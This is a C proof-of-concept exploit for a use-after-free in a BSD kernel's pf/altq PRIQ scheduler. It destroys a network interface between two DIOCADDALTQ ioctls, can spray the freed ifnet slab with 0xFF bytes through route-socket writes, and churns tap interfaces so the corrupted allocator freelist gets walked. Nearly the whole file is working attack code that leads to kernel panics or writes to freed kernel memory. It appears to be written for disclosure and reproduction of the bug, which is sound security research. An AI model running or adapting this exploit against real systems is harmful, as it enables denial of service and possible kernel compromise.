/*
 * DF-3443 PoC: altq_priq dangling pif_ifq UAF.
 *
 * priq_add_altq() captures pif->pif_ifq = &ifp->if_snd (altq_priq.c:114)
 * with no reference on the ifnet.  If the interface is destroyed between
 * the pf altq "interface spec" ioctl (DIOCADDALTQ, qname==0) and the
 * "queue spec" ioctl (DIOCADDALTQ, qname!=0), the queue ioctl's
 * priq_add_queue() (altq_priq.c:177-179) does:
 *
 *      ifq = pif->pif_ifq;              // dangling &freed_ifnet->if_snd
 *      PRIQ_LOCK(ifq);                  // deref freed ifnet -> freed
 *                                      // altq_subq array -> lwkt serializer
 *
 * i.e. a read of freed M_IFNET memory followed by an acquire/release
 * (atomic RMW writes) on freed M_DEVBUF memory.
 *
 * Usage (root):
 *   ./df3443_poc tap0          - plain sequence (destroys tap0 itself)
 *   ./df3443_poc tap0 --spray  - additionally re-fill the freed ifnet
 *                                block with 0xFF via route-socket
 *                                cluster allocations before the queue
 *                                ioctl, so the stale altq_subq pointer
 *                                reads 0xffffffffffffffff -> fault.
 *
 * Expected (plain):  ioctl either hangs (garbage serializer word from the
 *                    slab freelist link -> adaptive spin -> sleep while
 *                    holding pf_token) or silently RMW's freed memory.
 * Expected (spray):  kernel page fault / panic reading
 *                    ifq->altq_subq == 0xffffffffffffffff.
 */
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/sysctl.h>
#include <sys/types.h>

#include <net/if.h>
#include <net/pf/pfvar.h>
#include <net/altq/altq.h>

/* struct geometry printed by fw3443.ko at load on this kernel */
#define OFF_PIF_IFQ		8	/* offsetof(struct priq_if, pif_ifq) */
#define OFF_IF_SND		464	/* offsetof(struct ifnet, if_snd)   */
#define OFF_ALTQ_SUBQ		64	/* offsetof(struct ifaltq, altq_subq) */

#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static int
rtm_spray_ff(size_t len, int n)
{
	/*
	 * Route-socket writes get copied into kernel mbufs; a >=2048-byte
	 * message lands in an mbuf cluster (2048-byte zone - the same kmalloc
	 * size class as struct ifnet).  The content is fully user-chosen.
	 */
	unsigned char buf[4096];
	struct sockaddr_routing *sr;
	int s, i;
	ssize_t r;

	memset(buf, 0xff, sizeof(buf));
	s = socket(PF_ROUTE, SOCK_RAW, 0);
	if (s < 0)
		return (-1);
	for (i = 0; i < n; i++) {
		r = write(s, buf, len);
		if (r != (ssize_t)len)
			warn("rtm write %d", i);
	}
	close(s);
	return (0);
}

static int
fw_setaddr(unsigned long a)
{
	return (sysctlbyname("hw.fw3443.addr", NULL, NULL, &a, sizeof(a)));
}

static int
fw_dump(uint64_t out[8], unsigned long a)
{
	char buf[600];
	size_t len = sizeof(buf);
	int i;

	if (fw_setaddr(a) == -1)
		return (-1);
	if (sysctlbyname("hw.fw3443.dump", buf, &len, NULL, 0) == -1)
		return (-1);
	for (i = 0; i < 8; i++)
		out[i] = strtoull(buf + i * 17, NULL, 16);
	return (0);
}

static unsigned long
fw_word(unsigned long a, int w)
{
	uint64_t d[8];
	if (fw_dump(d, a) == -1)
		return (0);
	return ((unsigned long)d[w]);
}

static void
fw_show(const char *tag, unsigned long a)
{
	uint64_t d[8];
	int i;

	if (fw_dump(d, a) == -1) {
		printf("    %-22s <dump failed>\n", tag);
		return;
	}
	printf("    %-22s %016lx:", tag, a);
	for (i = 0; i < 8; i++)
		printf(" %016llx", (unsigned long long)d[i]);
	printf("\n");
}

int
main(int argc, char **argv)
{
	struct pfioc_altq pa;
	struct pfioc_trans io;
	struct ifreq ifr;
	u_int32_t ticket = 0;
	unsigned long pif = 0, ifq = 0, ifnet = 0, subq = 0;
	const char *ifname;
	int dev, s, spray = 0, nodestroy = 0;

	memset(&io, 0, sizeof(io));

	if (argc < 2)
		errx(2, "usage: %s <ifname> [--spray|--nodestroy]", argv[0]);
	ifname = argv[1];
	if (argc > 2 && strcmp(argv[2], "--spray") == 0)
		spray = 1;
	nodestroy = (argc > 2 && strcmp(argv[2], "--nodestroy") == 0);

	dev = open("/dev/pf", O_RDWR);
	if (dev < 0)
		err(1, "open /dev/pf");

	/* 1. begin an altq transaction (DIOCXBEGIN / PF_RULESET_ALTQ) */
	{
		struct pfioc_trans_e ioe;
		io.size = 1;
		io.esize = sizeof(ioe);
		io.array = &ioe;
		memset(&ioe, 0, sizeof(ioe));
		ioe.rs_num = PF_RULESET_ALTQ;
		if (ioctl(dev, DIOCXBEGIN, &io) == -1)
			err(1, "DIOCXBEGIN(ALTQ)");
		ticket = ioe.ticket;
	}
	printf("[+] DIOCXBEGIN(PF_RULESET_ALTQ) ok, ticket=%u\n", ticket);

	/* 2. interface spec: PRIQ on <ifname>; priq_add_altq stores
	 *    pif->pif_ifq = &ifp->if_snd                                */
	memset(&pa, 0, sizeof(pa));
	pa.ticket = ticket;
	strlcpy(pa.altq.ifname, ifname, sizeof(pa.altq.ifname));
	pa.altq.scheduler = ALTQT_PRIQ;
	pa.altq.ifbandwidth = 10 * 1000 * 1000;
	if (ioctl(dev, DIOCADDALTQ, &pa) == -1)
		err(1, "DIOCADDALTQ(interface-spec)");
	printf("[+] DIOCADDALTQ(interface-spec) ok: pif_ifq captured\n");
	pif = (unsigned long)pa.altq.altq_disc;	/* kernel copy-back */
	ifq = fw_word(pif, OFF_PIF_IFQ / 8);	/* pif->pif_ifq */
	ifnet = ifq - OFF_IF_SND;
	subq = fw_word(ifq + OFF_ALTQ_SUBQ, 0);	/* if_snd.altq_subq */
	printf("[+] pif=%#lx pif_ifq=%#lx ifnet=%#lx altq_subq=%#lx\n",
	    pif, ifq, ifnet, subq);
	fw_show("subq (live):", subq);
	if (pif == 0 || ifq == 0 || subq == 0)
		errx(1, "failed to recover kernel pointers");

	/* 3. destroy the interface: ifnet and its altq_subq array are
	 *    kfree'd (if.c:1089 kfree(altq_subq), ifnet via if_free)    */
	if (nodestroy) {
		printf("[.] --nodestroy control run: keeping %s alive\n",
		    ifname);
	} else {
		s = socket(AF_INET, SOCK_DGRAM, 0);
		if (s < 0)
			err(1, "socket");
		memset(&ifr, 0, sizeof(ifr));
		strlcpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name));
		if (ioctl(s, SIOCIFDESTROY, &ifr) == -1)
			err(1, "SIOCIFDESTROY(%s)", ifname);
		printf("[+] SIOCIFDESTROY(%s) ok: ifnet+altq_subq freed\n",
		    ifname);
	}

	/* 4. (optional) refill the freed ifnet block with 0xff so the
	 *    stale ifq->altq_subq pointer reads 0xffffffffffffffff       */
	if (spray) {
		if (rtm_spray_ff(2048, 64) == 0)
			printf("[+] sprayed 64 x 2048B 0xff route messages\n");
		else
			warnx("spray failed (continuing)");
	}

	/* 5. queue spec: pf copies altq_disc from the interface entry
	 *    (string match only, no liveness check, pf_ioctl.c:2038-2044)
	 *    and priq_add_queue() PRIQ_LOCKs the freed ifq.              */
	memset(&pa, 0, sizeof(pa));
	pa.ticket = ticket;
	strlcpy(pa.altq.ifname, ifname, sizeof(pa.altq.ifname));
	strlcpy(pa.altq.qname, "evilq", sizeof(pa.altq.qname));
	pa.altq.scheduler = ALTQT_PRIQ;
	pa.altq.priority = 0;
	pa.altq.qlimit = 50;
	pa.altq.bandwidth = 0;
	printf("[*] DIOCADDALTQ(queue-spec): priq_add_queue -> PRIQ_LOCK on "
	    "freed ifq ...\n");
	fflush(stdout);

	/*
	 * The kernel will re-read ifq->altq_subq (= *(ifnet+464+64)) from
	 * the freed (possibly reused) ifnet right now; follow that chain.
	 */
	{
		unsigned long subq_now = fw_word(ifq + OFF_ALTQ_SUBQ, 0);

		printf("[*] kernel-visible *(pif_ifq->altq_subq) = %#lx "
		    "(tap0's original array was %#lx)\n", subq_now, subq);
		if ((subq_now >> 44) == 0xfffff) {	/* canonical kva */
			fw_show("subq_now (A):", subq_now);
			if (ioctl(dev, DIOCADDALTQ, &pa) == -1)
				warn("DIOCADDALTQ(queue-spec)");
			else
				printf("[!] DIOCADDALTQ(queue-spec) RETURNED "
				    "(lock entered+released on freed memory)\n");
			fw_show("subq_now (B):", subq_now);
			{
				uint64_t a[8], b[8];
				int i, changed = 0;

				if (fw_dump(a, subq_now) == 0 &&
				    fw_dump(b, subq_now) == 0)
					for (i = 0; i < 8; i++)
						if (a[i] != b[i]) {
							printf("    UAF-WRITE "
							    "word[%d]: "
							    "%016llx -> "
							    "%016llx\n", i,
							    (unsigned long long)a[i],
							    (unsigned long long)b[i]);
							changed = 1;
						}
				if (!changed)
					printf("    (no post-free delta this run)\n");
			}
		} else {
			printf("[*] garbage altq_subq pointer %#lx - "
			    "PRIQ_LOCK will fault on it\n", subq_now);
			if (ioctl(dev, DIOCADDALTQ, &pa) == -1)
				warn("DIOCADDALTQ(queue-spec)");
			else
				printf("[!] DIOCADDALTQ(queue-spec) RETURNED\n");
		}
	}
	fw_show("ifnet (freed):", ifnet);
	fw_show("subq0 (freed):", subq);

	/* give the slab-maintenance timer (slotimer) a chance to run;
	 * churn the same kmalloc zone (every if_attach/if_detach allocs and
	 * frees one altq_subq array) to force the corrupted free-list to be
	 * walked by the allocator */
	printf("[*] churning 48 tap create/destroy cycles (same zone)\n");
	fflush(stdout);
	{
		int i;
		for (i = 1; i <= 48; i++) {
			char nm[32];
			int s2 = socket(AF_INET, SOCK_DGRAM, 0);
			struct ifreq ifr2;
			snprintf(nm, sizeof(nm), "tap%d", i);
			memset(&ifr2, 0, sizeof(ifr2));
			strlcpy(ifr2.ifr_name, nm, sizeof(ifr2.ifr_name));
			if (ioctl(s2, SIOCIFCREATE, &ifr2) == -1) {
				warn("SIOCIFCREATE(%s)", nm);
				close(s2);
				continue;
			}
			if (ioctl(s2, SIOCIFDESTROY, &ifr2) == -1)
				warn("SIOCIFDESTROY(%s)", nm);
			close(s2);
		}
	}
	printf("[*] sleeping 6s (slab timer observation window)\n");
	fflush(stdout);
	sleep(6);

	printf("[*] pf ioctls still responsive, trying DIOCGETALTQS\n");
	fflush(stdout);
	{
		struct pfioc_altq pa2;
		memset(&pa2, 0, sizeof(pa2));
		if (ioctl(dev, DIOCGETALTQS, &pa2) == -1)
			warn("DIOCGETALTQS");
		else
			printf("[+] DIOCGETALTQS ok (pf not wedged, nr=%u)\n",
			    pa2.nr);
	}
	return (0);
}
